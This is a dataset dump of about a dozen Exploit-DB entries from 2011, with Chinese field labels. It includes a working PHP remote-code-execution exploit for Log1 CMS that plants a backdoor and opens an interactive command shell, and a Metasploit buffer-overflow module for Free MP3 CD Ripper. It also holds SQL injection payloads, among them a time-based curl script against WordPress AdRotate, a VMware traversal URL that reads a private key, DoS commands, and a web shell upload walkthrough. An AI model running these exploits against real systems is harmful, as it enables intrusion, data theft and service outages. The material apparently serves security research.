QLWD/code_shield huggingface dataset:
标题: Log1 CMS 2.0 - 'ajax_create_folder.php' Remote Code Execution EDB-ID: 18151 CVE: 2011-4825 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-24 漏洞利用脚本: <?php
/*
+-----------------------------------------------------------+
+ Log1CMS 2.0(ajax_create_folder.php) Remote Code Execution + 
+-----------------------------------------------------------+
  
Web-App        : Log1CMS 2.0
Vendor         : http://log1cms.sourceforge.net/
Vulnerability  : Remote Code Execution
Author         : Adel SBM
Website        : www.The-code.tk
Facebook       : http://www.facebook.com/profile.php?id=100002938082057
Google-Dork    : "POWERED BY LOG1 CMS"
Tested on      : Windows XP SP2
                         
+-----------------------------------------------------------+
+                     VIVE Algeria                          + 
+-----------------------------------------------------------+
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
 
function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die( "\n[-] No Response From {$host}:80\n");
 
    fwrite($sock, $packet);
    return stream_get_contents($sock);
}
 
print "\n+------------------------------------------------------------------------+";
print "\n| Log1CMS 2.0  Remote Code Execution Exploit by Adel SBM                 |";
print "\n| SPl ThanX To: EgiX(exploit founder end coder)-The DoN                  |";
print "\n| Greetz to: Over-X & ind0ushka ..                                       |";
print "\n| TeaM Official website: www.The-code.tk                                 |";
print "\n| VIVE Algeria                                                           |";
print "\n+------------------------------------------------------------------------+\n";
 
if ($argc < 3)
{
print "\n+------------------------------------------------------------------------+";
print "\n| Usage......: php $argv[0] <host> <path>                                 |";
print "\n| Example....: php $argv[0] localhost /                                   |";
print "\n| Example....: php $argv[0] localhost /log1cms/                           |";
print "\n+------------------------------------------------------------------------+\n";
die();
}
 
$host = $argv[1];
$path = $argv[2];
 
$payload = "foo=<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>";
$packet  = "POST {$path}admin/libraries/ajaxfilemanager/ajax_create_folder.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
 
http_send($host, $packet);
 
$packet  = "GET {$path}admin/libraries/ajaxfilemanager/inc/data.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";
 
while(1)
{
    print "\n@AdelSBM# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?
    print $m[1] : die("\n[-] Exploit failed!\n");
}
 
?> URL: https://www.exploit-db.com/exploits/18151
标题: Free MP3 CD Ripper 1.1 - '.wav' Local Stack Buffer Overflow (Metasploit) EDB-ID: 18142 CVE: 2011-5165 类型: LOCAL 平台: WINDOWS 发布日期: 2011-11-22 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Free MP3 CD Ripper 1.1 (WAV File) Stack Buffer Overflow',
   'Description'    => %q{ 
     This module exploits a stack based buffer overflow found in Free MP3 CD
    Ripper 1.1.  The overflow is triggered when an unsuspecting user opens a malicious
    WAV file.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Richard Leahy',    # Initial discovery
     'X-h4ck',           # msf module is based on his poc
     'Tiago Henriques',  # msf module
     'James Fitts'       # clean ups
    ],
   'References'     =>
    [
     [ 'OSVDB', '63349' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/11975' ], #Initial disclosure
     [ 'URL', 'http://www.exploit-db.com/exploits/17727/' ] #This exploit is based on this poc
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'BadChars' => "\x00\x0a\x0d\x20",
     'StackAdjustment' => -3500,
     'DisableNops' => 'True',
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [ 
      'Windows XP SP3 EN',
      { 
       'Ret' => 0x1001860b, # p/p/r in libFLAC.dll
       'Offset' => 4116
      } 
     ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Aug 27 2011',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME', [ true, 'The file name.',  'msf.wav']),
   ], self.class)
 end

 def exploit

  wav = Metasm::Shellcode.assemble(Metasm::Ia32.new, "inc ecx").encode_string * 100
  wav << payload.encoded
  wav << rand_text_alpha_upper(target['Offset'] - (100 + payload.encoded.length))
  wav << generate_seh_record(target.ret)
  wav << Metasm::Shellcode.assemble(Metasm::Ia32.new, "inc ecx").encode_string * 4
  wav << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-4050").encode_string

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(wav)

 end

end URL: https://www.exploit-db.com/exploits/18142
标题: Freelancer Calendar 1.01 - SQL Injection EDB-ID: 18127 CVE: 2011-5109 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-19 漏洞利用脚本: ------------------------------------------------------------------------
Freelancer calendar <= 1.01 SQL Injection Vulnerability
------------------------------------------------------------------------

author............: muuratsalo (Revshell.com)
contact...........: muuratsalo[at]gmail[dot]com
download..........: http://sourceforge.net/projects/freelancercal/


[0x01] Vulnerability overview:

Freelancer calendar <= 1.0.1 is affected by a SQL injection vulnerability.
Note - A registered account could be required to exploit the vulnerability.


[0x02] Disclosure timeline:

[16/11/2011] - SQL injection vulnerability discovered and reported to
the vendor.
[19/11/2011] - No response from the vendor, public disclosure.


[0x03] Proof of Concept:

http://localhost/worldcalendar/category_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/worldcalendar/Copy_of_calendar_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/worldcalendar/customer_statistics_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/worldcalendar/customer_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/worldcalendar/task_statistics_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection] URL: https://www.exploit-db.com/exploits/18127
标题: WordPress Plugin jetpack - 'sharedaddy.php' ID SQL Injection EDB-ID: 18126 CVE: 2011-4673 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-19 漏洞利用脚本: ######################################################
# Exploit Title: WordPress jetpack plugin SQL Injection Vulnerability
# Date: 2011-19-11
# Author: longrifle0x
# software: Wordpress
# Download:http://wordpress.org/extend/plugins/jetpack/
# Tools: SQLMAP
######################################################

*DESCRIPTION
Discovered a vulnerability in  jetpack, Wordpress Plugin,
vulnerability is SQL injection.

File:wp-content/plugins/jetpack/modules/sharedaddy.php
Exploit: id=-1; or 1=if

*Exploitation*http://localhost:80/wp-content/plugins/jetpack/modules/sharedaddy.php
[GET][id=-1][CURRENT_USER()http://localhost:80/wp-content/plugins/jetpack/modules/sharedaddy.php
[GET][id=-1][SELECT(CASE WHEN ((SELECT super_priv FROMmysql.user WHERE user='None' LIMIT 0,1)='Y') THEN 1 ELSE 0 END)
http://localhost:80/wp-content/plugins/jetpack/modules/sharedaddy.php
[GET][id=-1][MID((VERSION()),1,6) URL: https://www.exploit-db.com/exploits/18126
标题: Blogs manager 1.101 - SQL Injection EDB-ID: 18129 CVE: 2011-5110 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-19 漏洞利用脚本: ------------------------------------------------------------------------
Blogs manager <= 1.101 SQL Injection Vulnerability
------------------------------------------------------------------------

author............: muuratsalo (Revshell.com)
contact...........: muuratsalo[at]gmail[dot]com
download..........: http://sourceforge.net/projects/blogsmanager/


[0x01] Vulnerability overview:

Blogs manager <= 1.101 is affected by a SQL injection vulnerability.
Note - A registered account could be required to exploit the vulnerability.


[0x02] Disclosure timeline:

[16/11/2011] - SQL injection vulnerability discovered and reported to
the vendor.
[19/11/2011] - No response from the vendor, public disclosure.


[0x03] Proof of Concept:

http://localhost/blogs/_authors_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/blogs/_blogs_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/blogs/_category_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/blogs/_comments_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/blogs/_policy_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/blogs/_rate_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/blogs/categoriesblogs_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/blogs/chosen_authors_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/blogs/chosen_blogs_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/blogs/chosen_comments_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/blogs/help_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection] URL: https://www.exploit-db.com/exploits/18129
标题: VMware - Update Manager Directory Traversal EDB-ID: 18138 CVE: 2011-4404 2009-1523 类型: REMOTE 平台: WINDOWS 发布日期: 2011-11-21 漏洞利用脚本: # Exploit Title:VMware Update Manager Directory Traversal
# Date:18/11/2011
# Author: Alexey Sintsov
# Software Link: http://www.vmware.com/
# Version:2.0.2
# Tested on: Windows 2003 / vCenter Update Manager 4.1 U1
# CVE : CVE-2011-4404

DSECRG-11-042 VMware Update Manager - Directory Traversal


Application: VMware Update Manager
Versions Affected: vCenter Update Manager 4.1 prior to Update 2, vCenter Update Manager 4.0 prior to Update 4
Vendor URL: http://vmware.com
Bugs: Directory Traversal File Read
CVE: CVE-2011-4404
CVSS2: 7.8
Exploits: YES
Reported: 06.06.2010
Vendor response: 06.06.2010
Date of Public Advisory: 18.11.2011
Authors: Alexey Sintsov
Digital Security Research Group [DSecRG] (research [at] dsecrg [dot]com)

Description
********
Directory Traversal vulnerability was found in Jetty web server that is used by VMware Update manager.

Details
*******
Directory Traversal vulnerability was found in Jetty web server that is used by VUM.
With this vulnerability, an non-authenticated attacker can read any file on the server (with rights of the process).

Sample
******
http://<target>:9084/vci/downloads/.\..\..\..\..\..\..\..\Documents and Settings\All Users\Application Data\VMware\VMware VirtualCenter\SSL\rui.key


References
**********

http://dsecrg.com/pages/vul/show.php?id=342
http://www.vmware.com/security/advisories/VMSA-2011-0014.html


Fix Information
*************

Vendor make fix for this issue:
Fixed in Update Manager 5.0 Windows not affected
Fixed in Update Manager 4.1 Windows Update 2
Fixed in Update Manager 4.0 Windows Update 4

About DSecRG
*******
The main mission of DSecRG is to conduct researches of business critical systems such as ERP, CRM, SRM, BI, SCADA, banking software and others. The result of this work is then integrates in ERPScan Security Scanner. Being on the top edge of ERP and SAP security DSecRG research helps to improve a quality of ERPScan consulting services and protects you from the latest threads. 
Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com 

About ERPScan
*******
ERPScan is an innovative company engaged in the research of ERP security and develops products for ERP system security assessment. Apart from this the company renders consulting services for secure configuration, development and implementation of ERP systems, and conducts comprehensive assessments and penetration testing of custom solutions.
Our flagship products are "ERPScan Security Scanner for SAP" and service "ERPScan Online" which can help customers to perform automated security assessments and compliance checks for SAP solutions.

Contact: info [at] erpscan [dot] com
http://www.erpscan.com URL: https://www.exploit-db.com/exploits/18138
标题: Valid tiny-erp 1.6 - SQL Injection EDB-ID: 18128 CVE: 2011-4672 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-19 漏洞利用脚本: ------------------------------------------------------------------------
Valid tiny-erp <= 1.6 SQL Injection Vulnerability
------------------------------------------------------------------------

author............: muuratsalo (Revshell.com)
contact...........: muuratsalo[at]gmail[dot]com
download..........: http://sourceforge.net/projects/validerp/


[0x01] Vulnerability overview:

Valid tiny-erp <= 1.6 is affected by a SQL injection vulnerability.
Note - A registered account could be required to exploit the vulnerability.


[0x02] Disclosure timeline:

[16/11/2011] - SQL injection vulnerability discovered and reported to
the vendor.
[19/11/2011] - No response from the vendor, public disclosure.


[0x03] Proof of Concept:

http://localhost/validerp/_partner_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/validerp/proioncategory_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/validerp/_rantevou_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/validerp/syncategory_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/validerp/synallasomenos_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/validerp/ypelaton_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/validerp/yproion_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection] URL: https://www.exploit-db.com/exploits/18128
标题: SonicWALL Aventail SSL-VPN - SQL Injection EDB-ID: 18122 CVE: 2011-5262 类型: WEBAPPS 平台: HARDWARE 发布日期: 2011-11-16 漏洞利用脚本: ================================================================================
 
                      SonicWALL Aventail  SSL-VPN  SQL Injection Vulnerability
                     ================================================================================
 

#Date- 17/11/11

# code by Asheesh kumar Mani Tripathi
 
     
 
# Credit by Asheesh Anaconda
 
 
 
#Vulnerbility
SonicWALL Aventail  SSL-VPN  is prone to an SQL-injection vulnerability because the application fails to properly 
sanitize user-supplied input before using it in an SQL query.
 
#Impact
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database
 
 
========================================================================================================================
 
                                                           Request
========================================================================================================================
 
https://example.xxx.com/prodpage.cfm?CFID=&CFTOKEN=&CategoryID=[SQL] URL: https://www.exploit-db.com/exploits/18122
标题: optima apiftp server 1.5.2.13 - Multiple Vulnerabilities EDB-ID: 18112 CVE: 2012-5049 2012-5048 类型: DOS 平台: WINDOWS 发布日期: 2011-11-14 漏洞利用脚本: #######################################################################

                             Luigi Auriemma

Application:  Optima APIFTP Server
              http://www.optimalog.com/home.html
Versions:     <= 1.5.2.13
Platforms:    Windows
Bugs:         A] NULL pointer
              B] endless loop
Exploitation: remote
Date:         13 Nov 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bugs
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


Optima is a suite of automation software for controlling PLC via
SCADA/HMI interface.
APIFTP Server is a file server for working with remote files located on
shared folders.


#######################################################################

=======
2) Bugs
=======

---------------
A] NULL pointer
---------------

NULL pointer exploitable through too long path names.
The effect is the displaying of a MessageBox with the error and the
continuing of the execution that will lead to a stack exaustion after
some seconds and the termination of the server.


---------------
B] endless loop
---------------

Endless loop with CPU at 100% caused by incomplete packets:

  004A9C93   8B03             /MOV EAX,DWORD PTR DS:[EBX]
  004A9C95   8B80 78010000    |MOV EAX,DWORD PTR DS:[EAX+178]
  004A9C9B   2D B80B0000      |SUB EAX,0BB8     ; Switch (cases BB8..BE0)
  004A9CA0   74 19            |JE SHORT APIFTPSe.004A9CBB
  004A9CA2   83E8 14          |SUB EAX,14
  004A9CA5   74 47            |JE SHORT APIFTPSe.004A9CEE
  004A9CA7   83E8 0A          |SUB EAX,0A
  004A9CAA   0F84 9D000000    |JE APIFTPSe.004A9D4D
  004A9CB0   83E8 0A          |SUB EAX,0A
  004A9CB3   0F84 CA000000    |JE APIFTPSe.004A9D83
  004A9CB9  ^EB D8            |JMP SHORT APIFTPSe.004A9C93


#######################################################################

===========
3) The Code
===========


http://aluigi.org/testz/udpsz.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18112.zip

A]
  udpsz -C "e803 0400 ff" -T -D -3 -d SERVER 10260 0x107

  wait some seconds, the tool will quit automatically

B]
  udpsz -C "e803 0400 00" -T -D SERVER 10260 -1


#######################################################################

======
4) Fix
======


No fix.


####################################################################### URL: https://www.exploit-db.com/exploits/18112
标题: Mambo 4.x - 'Zorder' SQL Injection EDB-ID: 18110 CVE: 2011-2917 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-13 漏洞利用脚本: *####################################################################
[+] Exploit Title : CMS 4.x.x Zorder (SQL Injection Vul)
[+] Author : Kr4L BeNiM
[+] Contact : www.facebook.com/kr4l.hacker
[+] Date : November 13, 2011
[+] Software Link:  http://mambo-developer.org
[+] Category: Web Apps
####################################################################

Vulnerability:

*SQL injection Vulnerability*

[#]  Exploit : -

The "zorder" parameter was not properly sanitized upon submission to
the administrator/index2.php url, which allows attacker to conduct
SQL Injection attack.


[#] Explaination : -

http://target.com/mambo/administrator/index2.php?limit=10&order[]=11&boxchecked=0&toggle=on&search=sqli&task=&limitstart=0&cid[]=on&zorder=
(SQL Inj Codes)

####################################################################
[+] Greets : Likuid Sky, Hax.Root, S.O.G, DjArs HaXoR, KiLLerMiNd, CyberLeeTs
#################################################################### URL: https://www.exploit-db.com/exploits/18110
标题: QuiXplorer 2.3 - Bugtraq Arbitrary File Upload EDB-ID: 18118 CVE: 2011-5005 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-15 漏洞利用脚本: # Exploit Title: QuiXplorer 2.3 <= Bugtraq File Upload Vulnerability
# Google Dork: "QuiXplorer 2.3 - the QuiX project"
# Date: 13/11/2011
# Author:  PCA & krhr_krhr and
# Software Link: http://quixplorer.sourceforge.net/
# Version: QuiXplorer 2.3
# Tested on: linux ,windows 
# CVE : 
----------------------------------------------------------------------------------------------------------------------------------------------------------------------
Vulnerablity

http://[localhost]/[path]/index.php?action=list&order=name&srt=yes

http://site.com/[xyz]/index.php?action=list&order=name&srt=yes
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------

after Going to this you will saw a file manager 
you can upload your files here 

find this icons in page and click on last, its upload option  :: 
You can direct upload too with chnaging url, just put action=upload&order=name&srt=yes
after index.php?
Quote:
example : http://site.com/[xyz]/index.php?action=upload&order=name&srt=yes

Shell Example : shell.php, shell.asp, shell.html, shell.php.jpg, shell.asp.jpg, or,,
- anything support file
click On you file For view 
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------

PCA PERUVIAN CYBER ARMY & krhr_krhr and (HF)
PCA TEAM :
-rAtoN
-Chipd3bios
-jardha
------------------------------------------------------------------------------------------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/18118
标题: WordPress Plugin AdRotate 3.6.6 - SQL Injection EDB-ID: 18114 CVE: 2011-4671 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-14 漏洞利用脚本: # Exploit Title: WordPress AdRotate plugin <= 3.6.6 SQL Injection Vulnerability
# Date: 2011-11-8
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/adrotate.3.6.6.zip
# Version: 3.6.6 (tested)
# Note: parameter $_GET["track"] has to be Base64 encoded

---
PoC
---
http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=MScgQU5EIDE9SUYoMj4xLEJFTkNITUFSSyg1MDAwMDAwLE1ENShDSEFSKDExNSwxMTMsMTA4LDEwOSw5NywxMTIpKSksMCkj

e.g.
#!/bin/bash
payload="1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#"
encoded=`echo -n "1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#" | base64 -w 0`
curl http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=$encoded

---------------
Vulnerable code
---------------

if(isset($_GET['track']) OR $_GET['track'] != '') {
    $meta = base64_decode($_GET['track']);
    ...
    list($ad, $group, $block) = explode("-", $meta);
    ...
    $bannerurl = $wpdb->get_var($wpdb->prepare("SELECT `link` FROM `".$prefix."adrotate` WHERE `id` = '".$ad."' LIMIT 1;")); //wrong (mis)usage of wpdb->prepare() URL: https://www.exploit-db.com/exploits/18114